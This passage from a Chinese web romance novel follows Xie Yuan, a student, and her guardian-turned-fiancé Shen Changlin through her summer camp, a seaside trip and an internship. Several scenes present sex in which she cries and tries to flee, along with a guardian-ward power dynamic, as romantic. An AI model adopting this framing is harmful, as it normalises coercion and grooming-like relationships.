谢沅被他抱到了落地镜前,水眸懵懂,她本能地就遵循了他的要求。
沈长凛吻了吻她的脸庞,低声夸奖她:“沅沅是乖孩子,做得很好。”
原本的温存渐渐变了意味。
临到傍晚,谢沅才被放过,她昏昏沉沉地继续睡,晚上十点时才醒过来,反应过来沈长凛都让她做什么了。
她又生气又羞恼,脸庞滚烫地烧着。
但谢沅还没能发脾气,沈长凛就把她抱下去用晚餐了。
他特意订的她很喜欢的那家餐厅的餐点。
谢沅刚一开始吃,小脾气就下去了,但她还是很使唤了沈长凛一番:“要吃那个,叔叔,不对,是左边的那个小丸子。”
能够这么使唤沈长凛的,全世界也就谢沅一个。
但他非但不恼,唇边反倒含着淡笑。
谢沅在家里好好地休整了一番,这两天她过得跟在梦里一样,直到看见日历被标红的夏令营开始日,她方才乍然清醒过来。
她到底是被娇惯长大的。
除了高考,很久都没有吃过这种苦了。
“好累,叔叔。”谢沅在床上来回地翻身,“我后天就要去夏令营了。”
燕大的夏令营时间没有太长,但安排很紧,任务又重,也没有非常的轻松。
谢沅专业课学得很好,这半年来也没有丝毫松懈,她就是有些担心她的英文水平,语言之间是会相互影响冲突的。
自从学了德语后,谢沅的英语水平直线下滑。
就连华文水平也在降。
去了德国后,她更是在表达不出来某些意思时,下意识地用德语词汇。
谢沅苦恼地躺在床上,沈长凛掐住她的腰身,把她轻轻抱了起来。
他的眸色微暗,轻声说道:“没事,现在还来得及,叔叔陪你练。”
谢沅的眼眸也亮了起来,沈长凛可是在英语国家长大的,他甚至是后来才学的华文,没有比他更合适的老师了。
她高兴起来,乖乖地就坐到了沈长凛的怀里。
沈长凛眉眼温柔,唇边含着浅笑。
谢沅那时候有多开心,第二天睡醒时就有多生气。
她红着脸庞,弄乱了沈长凛打好的领带。
“你怎么这么坏?”谢沅穿着宽大的衬衫,雪白的长腿屈着,将他堵在沙发上。
沈长凛好脾气地问道:“我怎么了?”
谢沅连羞都顾不上了,她红着脸庞控诉道:“你让我叫了一晚上daddy!”
第72章 他突然明白何为一眼万年。……
虽然第一天晚上沈长凛没有做好事。
但接下来的两天,他还是很好心地陪谢沅练了口语。
临到出发时,谢沅还在车里背个人介绍,这种事太难为她这种不善言辞的学生了。
她随机应变能力比较弱,每次都要做好万全的准备。
夏令营要整整三日。
前两日是各种讲座,第三天的上午是笔试,下午是面试。
谢沅思辨能力强,性子也沉静,她天生就适合学哲学,沈长凛从来不担心她的学业,他就是会担心谢沅累着。
保本校的研难度不大,尤其她的成绩还这样优异。
不过谢沅似乎是想直博来着。
沈长凛没有干涉她太多,他也不是学哲学的,甚至不是学人文的。
孩子喜欢什么就是什么。
反正无论发生什么,总有他为她托底。
沈长凛只是不想要谢沅失望,怕她因为失败而难过,虽然他很相信她是一定可以做到的。
她读高中时很努力,也是吃了不少苦的。
谢沅除了在哲学上禀赋极强外,其他的收获都是靠辛勤的汗水得到的。
虽然那时沈长凛也很疼她,却到底不如后来上心。
他错过了她的青春期,不想再错过她盛放的时节了。
这三天沈长凛早提前空出来,要紧的事都提前办了,只留下一些常规的会议和事务处理。
每次晚间他都是亲自去接的谢沅。
但直到第三天面试结束的时候,她还是没意识到他有多重视,扑到他的怀里,声音柔软地说道:“这次真的太谢谢叔叔了,我发挥得可好了。”
沈长凛轻笑一声,柔声说道:“是沅沅自己努力。”
临到晚间,谢沅才想起问:“叔叔,我没有影响到你吧?”
他日理万机,事务繁忙,最近几天却一直亲自接送她,谢沅记得他的行程前不久还特别忙碌。
沈长凛浅抿了些茶水,摇头轻笑:“没有。”
他站在岛台边,指节扣在杯子的边沿,白衬衫配上西裤,矜贵得宛若宫廷里的王爵。
夜色渐深,男人的容色却更显俊美。
谢沅最近都很忙碌,乍然抬起头才忽然意识到,她叔叔好像生得更好看了。
夏令营的结果还没有出来。
但结束这样一桩事后,倾在肩头的压力忽然卸下来了许多。
“我爱你,叔叔。”谢沅没有忍住,像小八爪鱼般扑到了沈长凛的怀里,他抱着她,眼帘轻轻低垂。
他轻声说道:“叔叔也爱你。”
男人的容色是那么温柔,可接下来却没再忍着。
谢沅的吐息紊乱,身躯像是陷入了深水里,忽然被浪潮推至顶峰,顷刻后又落了下来。
循环往复,没有终点。
伶仃的踝骨被男人的指节扣着,连稍往后挣脱的余地都没有。
谢沅不住地掉着眼泪,她瑟缩着身子,弱声地讨饶,却被那双修长有力的手突然抱了起来。
腰肢被攥着,她怎么都挣扎不开。
谢沅想起之前在瀛洲学习冲浪的经历,暗夜里的潮水是那么狠、那么凶,几乎能将人给吞噬到夜色里。
她的脖颈间带着项圈。
系着深粉色的蝴蝶结和浅金色的小铃铛。
自从谢沅上次穿了女仆装后,沈长凛也忽然意识到了小项圈和尾巴的趣味。
这就苦了谢沅。
毛茸茸的狐狸尾巴非常可爱。
白色的尾巴柔软地拖在身后,又被男人攥在了掌心把玩。
摇曳的溺水感此起彼伏,泪水不断地从眼尾滑落,谢沅快要疯掉,哭腔也越来越破碎。
她哭得不像样子,但除了泪水,又没有别的武器。
谢沅的眼眸里尽是水汽,她攀上沈长凛的脖颈,哭着唤道:“叔叔,我不行了,真的不行了……”
她的嗓音都哑了,带着水果般的沙甜。
沈长凛抚着谢沅毛茸茸的狐狸尾巴,吻了吻她通红的耳尖,柔声说道:“真的吗,沅沅?”
谢沅的手臂搭在他的肩头,头颅不住地往下垂。
她哑声说道:“真的,叔叔。”
可下一瞬男人就重重地揉了一下那柔软的尾巴,谢沅瞬时抬起头,脖颈像濒死的天鹅般,往后仰着。
泪珠子也断线似的往下掉。
谢沅迫切地想要逃,她的柔膝分开,忍不住地往后爬,她渴望逃离的动作太明显,躲避的意味也太明确。
沈长凛的眸色暗了下来。
他扣住谢沅纤细的踝骨,将人拽了回来。
“确定要逃吗,沅沅?”沈长凛的声音微凉,“你还这么……。”
他的指节向上,掌住她的腿根。
谢沅的眼眸懵懵的,下一瞬她便明白他是什么意思。
上一回她还可以说是沈长凛强迫她,这一次她连借口都要寻不到。
谢沅哭得厉害,被羞意作弄得欲死:“弄脏了,都弄脏了……”
她趴在沈长凛的怀里,抱着被弄脏的毛茸茸尾巴,肩膀不断地颤抖着,可他没有继续哄她,让她彻底明白何为真正的弄脏。
谢沅控制不住地哭叫。
花朵般的小姑娘,被弄得不成样子。
男人的眼眸深暗,浸透了掠夺与占有的恶欲,谢沅的指节抵在墙上,被从后方攥住腰身时,她彻底没有地方可以再逃。
她一直在哭:“我不逃了,叔叔,我会乖的……”
一整晚都过得混乱。
谢沅第二天醒来时连头都没敢冒,她用薄被盖住脸庞,任凭沈长凛怎么哄都不肯出去。
她又羞耻又委屈,眼眸红肿着,眼尾尽是泪痕。
谢沅把整个人都埋进了被子里,声音也闷闷的:“我不饿,叔叔,晚一点再吃饭。”
实际上她已经饿得肚子疼了。
谢沅昨天用得很少,夜宵也没怎么吃,早先就开始饿了。
但她全然不想出去,也不想面对沈长凛,一想起昨夜的事,就羞耻得想哭。
谢沅躲在薄被里,等着沈长凛离开去忙公事,他工作那么忙,总不可能一整天都盯着她吧?
他沉默下来,于是她就藏得更紧。
须臾沈长凛倾身,轻声说道:“我还有事情,你记得用午餐。”
谢沅闷在被子里面小声啜泣,早先就等他这句话,听到他这样说,点着头说好。
门关上许久后,她才从薄被里面出来-
谢沅浑身上下都没有力气,从床上下来后,她站都站不稳。
昨天沈长凛帮她好好沐浴了,连带毛茸茸的尾巴也好好地洗刷了一番,白色的狐狸尾巴被打上沐浴露,洗得香喷喷的。
一点也不脏。
但谢沅还是又羞耻又委屈。
她在房里等了许久,从小冰柜里取出冰激凌先垫了垫肚子。
确定沈长凛离开后,谢沅才悄悄地从楼上下来。
午餐都是她喜欢吃的。
沈长凛给她安排的那座小别墅里,物什很齐全,厨师的水平也很高,中餐也做得很美味。
可谢沅还是更喜欢吃家里阿姨做的饭。
她在外面待了半年,吃西餐吃得腻烦,连意面都要不喜欢了。
终于能坐在家里好好地享用午餐,还不用担心其他的事情,谢沅放松下来,哭红的眼眸都又生起亮色。
这才是生活——
谢沅执着餐叉,快活地想要开始用餐,人就忽然被抱了起来。
沈长凛身形高挑,他轻易地就把谢沅抱在了膝上。
男人容色矜贵,衣冠楚楚。
他穿着高定西装,将衬衫的袖角微微弯起,露出苍白的腕骨,温雅而高贵。
但就是这么一个人,每个晚上都不做好事,将谢沅欺负得眼泪都掉不及。
她坐在沈长凛的腿上,眼眸睁得大大的:“你——”
沈长凛很轻地吻了一下谢沅的脸庞,声音温柔:“我待会儿是真有事,沅沅,让我服侍公主用完午餐,好不好?”
他这个人是真的坏。
坏的时候,坏得让人牙痒痒,可是事后又特别会赔罪。
谢沅很想把沈长凛赶走,但一想到那样子的话,她好像更吃亏了,还不如让他再辛苦一会儿。
她忍着委屈,点了点头:“我用完午餐,你就要走,不能再骗我。”
谢沅刚刚又哭了好一会儿,眼眸还是红的。
用完午餐后,沈长凛轻吻了吻她的眼尾,低声说道:“晚上我给沅沅赔罪,好不好?”
谢沅一点都不觉得宽慰,她瞬间又要炸毛。
她的脸庞红着,耳尖也红着,立刻就拒绝道:“不用,叔叔!”
但沈长凛还是很抱歉。
“你不喜欢,我们以后就不这样了,”他轻声说道,“你喜欢什么,我们就怎样,可以吗?”
谢沅喜欢什么,不喜欢什么,全都是沈长凛探索出来的。
她非常口是心非,又容易感到羞耻。
白昼来临后,只是讨论这个,谢沅就羞得想找个地方钻进去了。
她倾身掩住沈长凛的薄唇,红着脸庞说道:“您快走吧,是不是快迟了?”
谢沅站在他的身后,推着他往外走。
“我今天要在家里看电影,”她连声说道,“还要一直玩,您不用给我打电话。”
谢沅催着沈长凛离开,她难得多话,连开口的机会都不给他。
直到将人送走后,她脸庞的热意才渐渐降下来。
谢沅从冰箱里拿了冰镇的果汁,喝着饮料上楼,直到将投影仪打开后,她的羞耻感才退去。
她这个年岁的孩子,很难抵抗诱惑。
谢沅有时看着沈长凛的脸庞,就觉得她什么都拒绝不了。
她既拒绝不了他这个人,也拒绝不了他俊美的容色。
但想起昨夜的事,谢沅的粉腮还是渐渐再度染上热意,她觉得她要疯掉了。
她像小乌龟般地缩进薄被里,把头也蒙了起来。
谢沅在家里待了一整天。
她一直在看动画电影,连着看了三部,午后又没有睡觉,将投影仪关掉的时候,思绪都有些混乱。
沈长凛回来时,才发觉谢沅还没有用晚餐。
已经八点多了,谢沅还趴在床上刷平板。
好不容易搞定夏令营,她现在就是全世界最自由的人。
除了沈长凛,谁都管不了她,现在沈长凛也不行。
谢沅吃着小点心,她的眼眸亮亮的,吃了太多零食,根本不想要用晚餐,也不想再做更多的思考。
沈长凛把谢沅从床上捞起来。
刚将人得罪过,他也不敢说话太重,轻柔地问道:“怎么不用晚餐?”
只是沈长凛的手按在了谢沅的平板上,将之给抽走。
她的视频才刚看了一半,抬手就想将平板给拿过来:“马上就知道凶手了,叔叔,待会儿再用晚餐。”
谢沅仰起脸庞,水眸看向沈长凛。
男人的指节却轻按在了她的小腹上,然后又寻到了那些零食的包装袋。
沈长凛回来得太快,谢沅藏都没处藏。
她怕他罚她,立刻就要站在道德高地上:“你说过今天要给我赔罪的,我只是吃点零食而已,又没有说不吃晚餐。”
谢沅很虚张声势,但她成功了。
沈长凛的容色又温柔起来,他拍了拍谢沅的后腰。
“今天给你赔罪,”他轻声说道,“沅沅这几天有特许权,想做什么都可以。”
谢沅更高兴了。
她攀上沈长凛的脖颈,吻了吻他的脸庞:“叔叔好开明。”
他挑了挑眉,声音散漫:“意思是我之前很封建吗?”
“没有,没有。”谢沅明白见好就收,软声说道,“是您今天特别好。”
沈长凛管教她向来严格,难得宽纵一回,谢沅好好地任性了几日。
他给她的赔罪也特别好。
让谢沅觉得非常值,就是太好了些,好到她一直没有气力下楼梯。
沈长凛的赔罪比谢沅当初敷衍的补偿要认真百倍。
她连掰着都不用掰着,阖着眼眸任由他侍弄,身躯像是浸润在温水里,整个人都懒洋洋的。
一连多日,谢沅放松到整个人都疏懒起来。
沈长凛在家要是得空的话,连沐浴她都不用累着。
谢沅快要被他给惯坏了,她揉着脸庞坐起身,坚定地说道:“叔叔,不能再这样了。”
她很小的时候,父亲母亲都没有这样纵着她过。
沈长凛很轻地抚了抚谢沅的脸庞。
“为什么不可以?”他吻了下她的樱唇,“你在外面读书那么辛苦,放假在家里,就是要过得放松些。”
谢沅还是很迟疑,她摇着头说道:“可是小孩子都不那样的。”
说到这里,她的脸庞有些微红。
沈长凛却掰过了谢沅的脸庞,他温声说道:“但你就是我养的小孩子。”
她好像始终没有意识到,她之前的生命活得有多压抑。
以至于连受到宠溺,都会担心这是否会影响到自身的独立性。
谢沅哪里须要独立呢?沈长凛想做和在做的事,就是要宠她一辈子,将她娇惯坏,好弥补她漫长痛苦的青春期。
他想陪她放纵,也想让她再放纵些。
沈长凛俯身吻上谢沅的唇瓣,声音低柔:“怎样都没关系的,沅沅,叔叔想要疼你。”
他的吻很轻,她抓握住他的手,再度被推向了温热的潮水中。
谢沅略有躁动的心情,很快地就被沈长凛安抚了下来,两个人的指节交扣在一起,那种缘自血脉里的本能吸引又在开始作祟。
他没有将话语说尽,可是她却明白了他的意思。
谢沅撑着手臂,跨坐在沈长凛的身上,无法抑制地吻上他的薄唇。
放纵是快乐的。是不可言说的夏娃吃下的果实。
她其实不用那样克制的。
他们现在是夫妻,以后也会是水乳交融的共同体,无论怎样都是无所谓的-
回到家里后,谢沅的生活荒唐得一塌糊涂。
直到秦老先生邀请她去瀛洲,她才暂停了这种混乱的、不分昼夜的日子。
谢沅很乖地收拾行李,准确地说,是看着沈长凛帮她收拾行李。
她坐在床边,啃着苹果说道:“不用带那么多裙子,叔叔,去年好多都没有穿得着,带泳装吧。”
沈长凛敲了一下她的额头。
“今年非常热,不要在外面久待,”他拍了拍谢沅的脸庞,“要是中暑,就立刻回燕城,听到了吗?”
谢沅吃痛,扶住额头,很乖地点头:“听到了,叔叔。”
今天整个北半球好像都格外的热。
在德国时,沈长凛就担心她中暑,瀛洲临海,虽然有海风,会凉爽些。
但总免不了要在海边玩。
沙滩边是很晒的,有时候就是好好做了防晒,还是会被晒得皮肤发红。
谢沅的皮肤白,很容易被晒伤,在这一点她真的很听沈长凛的话,但到瀛洲的那天,她还是被这样的潮热程度给惊着了。
临海的城市总归是要格外潮一些。
谢沅却没想到,今年瀛洲能这么热。
她坐在车里,看向蔚蓝色的海洋,日光刺目,近乎可以说是暴晒。
如果两岸栽种的有棕榈树、椰子树,任谁来了也分不清这里是滨城还是瀛洲。
怎么可以这么热呢?
李秘书笑着说道:“沈总交代了,秦老先生也交代了,沅沅今年不能在户外玩太久。”
谢沅的身份如今已经变了,但亲近的人,还是照着原来的称呼叫她。
她也很适应这样的叫法。
如果大家突然还是叫她什么“夫人”、“少夫人”,谢沅能羞耻到不敢应答。
她弯起眉眼,笑着应道:“我知道,李叔叔。”
但说着说着,李秘书还是将话头引导了这上面。
“想好婚礼要在哪里办了吗,沅沅?”他含着笑问道,“沈家的那个庄园挺不错的,秦家的那个海岛也可以。”
李秘书接连说了好几个地点。
谢沅听得都有些晕了。
李秘书狡黠地笑了一下,轻声说道:“那个海岛是沈总的私人岛屿呢。”
“好像就是这两年买的,”他笑了一下,“风景非常好。”
谢沅还没有细想婚礼的事,李秘书突然提出来,她才发觉已经这样近了,十二月从德国回来后,她就要正式地嫁给沈长凛了。
她弯起眉眼,柔声说道:“我都可以的。”
李秘书一边开车,一边温和地笑着说道:“那我就等着吃沅沅的喜糖了。”
车停下来后,秦老先生亲自接住了谢沅。
他还是那样温文儒雅,大抵是前不久刚刚染过发,看起来十分的健朗。
谢沅下车,甜甜地唤道:“外公,我好想您呀。”
秦老先生身后的侍从和李秘书对上视线,众人都忍不住地笑了一下。
也就秦老先生总担忧谢沅会受委屈。
依照沈总宠孩子的程度,谢沅没有被惯坏就是一个奇迹,他怎么还忧虑沈总会让谢沅难过呢?
瞧瞧,这孩子被养得多好。
谢沅比以前要开朗许多,笑颜也更加灿烂甜美了。
秦老先生带着谢沅走进宅中,很和蔼地问她这半年多来在德国的经历。
她在亲近的人面前,现在话要多上很多。
谢沅像倒豆子似的,将近来发生的事全都告诉秦老先生,侍候的人们也都纷纷含笑听着。
众人愈加感觉沈总做得对。
要是将小姑娘嫁出去,以后秦老先生这里该有多孤寂,而且她受了委屈,这边也很难第一时间注意到。
这下就好了。
往后谢沅嫁入秦家,想什么时候来瀛洲,就什么时候来。
而且再也不用担心她遇人不淑,被别的男人辜负了。
谢沅陪着秦老先生许久,说了好多的话,连嗓子都有些干疼。
侍候的人献上水,并带她去休息:“您的房间还跟之前一样,我们每月都打扫,保管您什么时候过来,都能住得舒舒服服。”
谢沅十二岁那年就没有了家。
到了现在,她才又明白何为家的感觉。
谢沅的眼眸微红,她重重地点了点头:“嗯!”
她一整天都很快乐,跟沈长凛视频通话时,眼眸依然是弯着的。
谢沅拿起桌案上被妥善封存着的小海贝给沈长凛看,柔声说道:“叔叔你看,这是我捡的第一颗小海贝,是不是很好看?”
她的姿态自由从容。
声音里透着的都是舒展松弛的感觉。
再没有当初的拘束和紧张。
沈长凛倚靠在露台边,唇角微扬:“很好看。”
谢沅跟沈长凛说了半小时的话。
她站在二楼的露台,笑声轻轻的,可所有人都留意着她,哪里能听不到这样的话语呢?
就连秦老先生也渐渐地舒展眉头。
他笑着摇头,执起桌案上的红茶:“哪有他这么惯孩子的?得亏沅沅心性好,才没被他宠坏。”
他们正说着,霍家的众人便过来了。
虽然婚事没有成,但秦家和霍家的关系仍是很好。
谢沅挂了电话下楼时,刚好和来人对上视线。
霍阳顶着一头挑染过后的黑金色短发,像极了三年前谢沅在瀛洲第一次见到他时的模样。
他站在霍老先生的身边,正和祖父说着些什么,不经意抬起眼帘的刹那,目光忽然就与谢沅对上了。
那一刻,霍阳突然明白何为一眼万年。
第73章 她就要嫁给他了。
谢沅九月初就要开学。
所以今次没有在瀛洲待太久,只能待十天左右。
谢沅在这边的朋友并不少,往年他们都是在海边度过假日的。
今年的天实在太热,连瀛洲这个闻名遐迩的避暑圣地,都被热浪席卷,热到难以言说。
霍阳含着笑意,倚靠在车边,提议去那座前不久新建的海洋主题游乐园。
谢沅这半年来都在知识的海洋里遨游,快被先哲们资深的学问给淹死,就是出去旅游也都是各种逛、各种看。
一听说能去游乐园玩,她的眼眸都亮起来了。
霍阳会玩得很,又擅长做东家招待人。
谢沅很信任他挑选的玩乐地点,但到了以后才知道这游乐园到底有多大、多热闹。
他们一整天都在外面。
早上八点就驱车过去,午餐也是在游乐园用的,直到晚上十点看完烟火才回来。
谢沅手里拿着小风扇,坐在霍阳的车里,都已经十点,脸庞还是滚烫的。
昨天一起用晚餐时,她仍在担心和霍阳会尴尬,但他依旧与旧时一模一样,就仿佛他们之间那场失败的议婚没有发生过。
等红灯时,霍阳拨弄了一下头发。
黑金色的挑染很好看,他一边拨着短发,一边侧脸笑着看向谢沅。
“没有骗你吧?”霍阳挑了挑眉,“这里的烟火,是不是很好看?”
谢沅一手拿着小风扇,一手执着冰激凌。
今天实在是太热了。
谢沅喝了三大杯的加冰果茶,然后吃了四个冰激凌,这已经是第五根。
她吃着冰激凌,脸庞仍透着绯色:“是很好看,但是过山车太吓人了,我以后都不要坐了。”
谢沅很容易着霍阳的道。
就像他之前把滑翔伞吹得天花乱坠一样。
谢沅对他说的那些总是忍不住心生向往,真正过去才知道是那般可怕。
霍阳还非常坏,时常喜欢故意哄谢沅。
他再度辩解道:“那真不是过山车,只是激流勇进而已。”
“哪有那么高的激流勇进?”谢沅又要气鼓鼓起来,“而且那个车还会来回地转,分明就是过山车!”
她是个性子很柔弱的姑娘。
但现在谢沅也会明确地表达心里的感受。
那样的神情和模样,叫人一看就知道是在被人很好地疼着,被用爱不断地浇灌、滋养。
谢沅的婚事还没有完全定下。
可霍家的消息多灵,霍家跟秦家的关系又那样好。
现今燕城还没多少人知道谢沅和沈长凛的事,霍阳却是知道的。
秦承月,沈宴白,温怀瑾。
如果要娶谢沅的是他们中的任何一人,霍阳都有信心将她给夺回来。
但听到那人是沈长凛后,他沉默了很久。
父亲霍先生在电话的另一头轻声安慰他:“秦沈两家的联姻是必然,你沅沅妹妹总归是要嫁去秦家的。”
霍阳没说话,挂断电话后他喝了一整夜的酒。
第二天,霍先生让人将许久之前的两则新闻拿给他。
一则是秦家购下的那颗天价钻石,一则是某夜北郊秦家旗下酒店放了一整晚的烟火。
谢沅喜欢烟火,是霍阳偶然间发现的。
可他到底是来迟了。
霍阳是明白的,只是心里总忍不住地后悔。
如果他中学时没和沈宴白混在一起,听他那么多谮诬谢沅的话语,怀着固有的坏印象去看待谢沅。
他们之间会不会就不一样?
可惜这世上没有后悔药。
已经到了十点,夜风还是潮热。
绿灯亮起后,霍阳放下撑着的手肘,他漫不经心地笑道:“好,下回哥哥一定给你说清楚。”
谢沅还在吃冰激凌,她喜欢吃甜食,但不喜欢吃太甜的。
唇角沾上奶油也不自知,总要人去提醒才行。
谢沅又不是小孩子,生活自理能力哪里会那么差?
除非是有人有意将她宠成这个样子。
有很多事,早先就是分明的。
虽然婚事并没能成功,但霍阳到底还是收心了。
他笑着跟谢沅说道:“你哥哥我今年也算是毕业了,等到秋天就要开始打拼了。”
霍阳要是不说,谢沅都快要忘记他也上了个大学来着。
他是真正的嫡长孙。
如果不出意外的话,整个霍家的资源都是要往他身上堆的。
想到霍阳有朝一日会变成他父亲霍先生那样的人,谢沅觉得非常不可思议,她甚至不太能想象得出,那是怎样的情形。
她的表情很明显。
霍阳心底的郁气陡地被吹散。
他没忍住笑了出来,散漫地说道:“沅沅赶明上山城那边玩,记得报我的名字,保准你畅行无阻。”
霍阳讲话漫不经心,带着一股调调。
就是说正经的事,也会有种很奇异的感觉。
谢沅坐在副驾,微微向后倚靠,她眯着眼眸说道:“好,谢谢你,霍阳哥,我一定会报你名字的。”
她摇头晃脑,手里的冰激凌也晃来晃去。
霍阳是玩赛车的,对F1的赛事更是如数家珍,他不是沈宴白那样的性子,好好的跑车,也要开得四平八稳。
他总喜欢将车开得很快。
但这个晚上,霍阳却开得很慢,半小时就能结束的车程,他绕来绕去,足足开了一个小时。
谢沅都有些疑惑。
她轻声问起时,他声音散漫地应道:“哥哥看错导航了,还多问。”
谢沅下车,很礼貌地跟霍阳挥手说明天见。
她不知道的是,如果可以的话,他希望这个回程永远都没有终点-
在瀛洲玩了十天后,沈长凛过来接谢沅。
他来的那天很高调,手里捧着一束很大的白玫瑰,乘着微暗的夜和粲然的星子,从车上没什么顾忌地走下来。
沈长凛是多尊崇贵重的人。
他不止出身矜贵,禁欲克制,多年都不近女色。
于情爱事上是再冷淡不过的人。
然而所有人都看得见,沈长凛是如何将花捧给谢沅,又将人温柔打横抱起的。
因为是两家人间的私宴,所以设在了二楼的露台。
谢沅听说沈长凛要来,找了借口离开,其实就是下去接他。
她是个很害羞内敛的孩子,可被沈长凛抱起时,眼眸里尽是幸福,手臂环住男人的脖颈,声音柔软地唤道:“我也很想您。”
霍老先生都忍不住笑叹一声:“真是璧人!百年好合,百年好合!”
霍阳从洗手间过来,恰好错过这一幕。
但听到祖父的话,他垂下眼帘,到底没有多言。
快到二楼时,沈长凛才将谢沅放下来,她捧着玫瑰花,坐在他的手臂上,声音软软的:“要被看到了,叔叔。”
“好。”他轻吻了吻她的小脸,揽过她的腰身带人进去。
私宴已经将要结束。
谢沅的小行李箱也早就被收拾好。
沈长凛进去以后没有多停,只朝着外祖父秦老先生轻笑一声:“沅沅我先带走了。”
谢沅捧着白色的玫瑰花,跟众人说再见:“外公再见,霍爷爷再见,霍阳哥再见。”
她的笑颜柔美,令人想起春日盛放的花朵。
被娇养的花,到底是开在了浇灌她的深春里。
谢沅这一次来瀛洲非常乖,每天都有主动跟沈长凛发消息、打电话,拍的许多照片也都最先发给他看。
上了车后,她坐在他的腿上,还在继续跟他讲今天发生的趣事。
回到家时是十点半左右。
沈长凛先给谢沅洗了个澡。
沐浴过后,她躺在柔软的大床上,仍然没有睡意。
谢沅很放松地舒展身躯,轻晃着小腿,柔声跟沈长凛继续讲事情:“我是不是很厉害,叔叔?我坐过山车了,你坐过吗?”
她的话语天真可爱,仍带着稚气。
沈长凛失笑,轻声夸道:“沅沅好厉害。”
谢沅夏令营的结果也是前几天下来的,她当时在玩,还是沈长凛先看到的。
她不仅是优秀营员,还是所有人里面的第一名。
低调如他,也告诉了身边的秘书和助理。
当天刚好跟人在谈事情,对方的老总听闻,也恭贺了沈长凛许久,不过他差些就说错话,一句“令爱”已经讲出一半,却到底还是过了脑子。
沈长凛低下眼眸,看向谢沅,声音温柔:“想好要什么奖励了吗?”
谢沅坐起身,她抱着薄被,这才想起她的夏令营通过了。
在保研和直博之间,她最后还是选了直博。
谢沅本科毕业后要GAP一年,然后再开始读博,她这个方向的大牛很多,燕大这个方向也算强。
导师的人选,算是早先就定过了。
那位老师很喜欢她,先前听闻她不打算保研,毕业就嫁人,明里暗里劝了她好久。
他人脉广,隐约明白豪门里的这些密辛,扼腕叹息了很长一段时间。
谢沅当初要去德国交换时,就是他帮忙写的推荐信。
这些事她还没有全告诉沈长凛,但听到他说要给她奖励时,她撑着手臂坐起身,笑着说道:“叔叔有想要的惊喜吗?”
沈长凛没有当她在说笑话。
他沉吟片刻,轻声说道:“我要沅沅就会给吗?”
谢沅的眼眸亮了亮,她认真地点头:“我当然给,叔叔,什么都可以的。”
“那可以稍迟一些吗?”沈长凛低笑一声,“我想要过些时候再要。”
谢沅很郑重地应下:“你可别忘了,叔叔,我一定要为你实现的。”
两人温存许久,但谢沅在瀛洲玩得很累,沈长凛到底没有多折腾她,结束后就抱她沐浴睡觉。
她靠在他的怀里,小手抓握着他的大手。
两个人的指节交扣在一起,亲密无间,任谁也插不进去。
沈长凛低眼看向谢沅的面容,神情是从未有过的温柔,她做下的那些安排,他哪里会不知道呢?
但一想到这个小孩子在很认真地谋划他们的未来,他的心神就会很柔软。
连带她没心没肺,当真和霍阳玩了十天的事,沈长凛都懒得再追究。
毕竟霍阳可以说是他们这些人中最没有可能的那个人。
虽然当初准允谢沅和霍阳接触,就是想给她添个玩伴。
没想到谢沅是真的将他当做纯粹的玩伴了。
月色如水,照在谢沅柔美的脸庞上。
沈长凛轻吻了吻她的额头,然后将人往怀里抱了少许。
一整个晚上,谢沅都睡得很静谧,她好久没有睡得这么舒服过,第二天起来人还懒洋洋的。
她这个假期过得非常快乐。
直到八月下旬,谢沅才想起一件很重要的事,她的实习报告还没写,她甚至忘记了这件事。
沈长凛身边很少有应届生,对国内大学的毕业流程也不太熟悉。
但谢沅的事,他还是很关心的。
哲学这个专业的就业不是一般的难,从他们每年实习都在胡来就已经可以看出来。
沈长凛看着眉头紧锁、正在努力翻工作软件的谢沅,轻声说道:“已经来不及了,要不来我这里吧?”
他的建议非常好,但谢沅哪里敢接下来?
她拼命地摇头,说道:“不行,叔叔,我都不懂,而且我和您那里,完全没有适配度呀。”
沈长凛是特意问过人的。
他低笑一声,说道:“我让人帮你盖个章就好了。”
谢沅是个很实诚的孩子,她“啊”了一声,仰起头问道:“那实习报告怎么写呀,叔叔?”
沈长凛屈起指节,抵在唇边。
“那你要不然真的实习一段?”他轻声说道,“秦氏集团董事长助理怎么样?”
沈长凛的容色俊美,他笑得也很温柔。
谢沅跟他相处经久,抵抗力还是那样弱。
“这……这不太好吧,叔叔?”她有些迟疑,“会不会太高了点?”
谢沅虽然不太懂商业上的事,但她也听朋友们讲过,秦氏和沈氏旗下的那些公司有多难进。
像明愿都只是借着沈宴白的关系,才勉强进了明升,做一个寻常经理的助理而已。
但谢沅很快又想到。
她去不管谁那里,都是在给人添麻烦,还不如去给沈长凛添麻烦。
沈长凛揉了揉谢沅的头发,轻声说道:“没什么不好的,不用你做什么事,也不须要你操心什么。”
他声音实在太温柔了。
谢沅最难抵御的,就是沈长凛含笑温声说话时的模样。
她被哄得晕晕乎乎的,还没细想就被他抱了起来-
谢沅第一天实习,早上起得很早,还好好地穿了她的小西装。
她体态纤瘦,腰肢更是细得不经盈盈一握,唯有臀间有些软肉,包臀裙很好地勾勒出窈窕的身形。
谢沅站在全身镜前,将裙角仔细抚平。
沈长凛站在衣帽间,看向全身镜里的谢沅,到底没忍住给她换了一件普通裙子。
他带着笑意,给她换衣服:“也不用这么正式,沅沅。”
谢沅被沈长凛抱在怀里,被他掌住腰身换裙子。
她有些羞赧,软臀在他的腿上轻蹭着,声音细弱:“对不起,叔叔,我不太懂。”
他给她换了一身白裙子。
谢沅踩着小皮鞋,脖颈间系了温莎结。
换了衣服后,她举手投足都带着小公主般的稚气。
只不过这个小公主并不骄纵,是个很乖巧的小公主。
谢沅也觉得她看起来有点太乖了,但她一天班都没有上过,本能地信任着沈长凛。
叔叔挑选的衣裙,总不会有错吧?
谢沅就这样随着沈长凛去实习了,李特助等人见到她时,纷纷忍不住笑了出来。
陈秘书最先开口:“沈总说要来新同事,原来是大小姐呀。”
他们都笑得好像很开心的样子。
谢沅不明所以,乖柔地解释道:“我是来实习的,陈叔叔。”
话说完,她就觉得不好意思起来。
她能不添乱就已经很不错了。
沈长凛身边侍候的这些人,很多都曾经照看过谢沅,带她给带孩子一样,她过来实习,他们也像对待孩子一样对待她。
谢沅坐在落地窗边的沙发上,吃着车厘子小蛋糕,乖乖地等着沈长凛开完会。
中途有人来找。
高层都知悉她是未来的夫人,见到她时睁大了眼睛,连话都没敢问。
谢沅却很善解人意,礼貌地说道:“请问您是来找沈总的吗?他还在开会,要半小时后才能结束。”
话少寡言的她很认真地履行助理的职责。
那高层却是磕磕绊绊,差些就要结巴:“是、是吗?真是多谢你了,那、那我待会儿再过来。”
谢沅看向他的背影,很疑惑他为什么是同手同脚地走路。
例会开了很久,她吃完小蛋糕,沈长凛那边才结束。
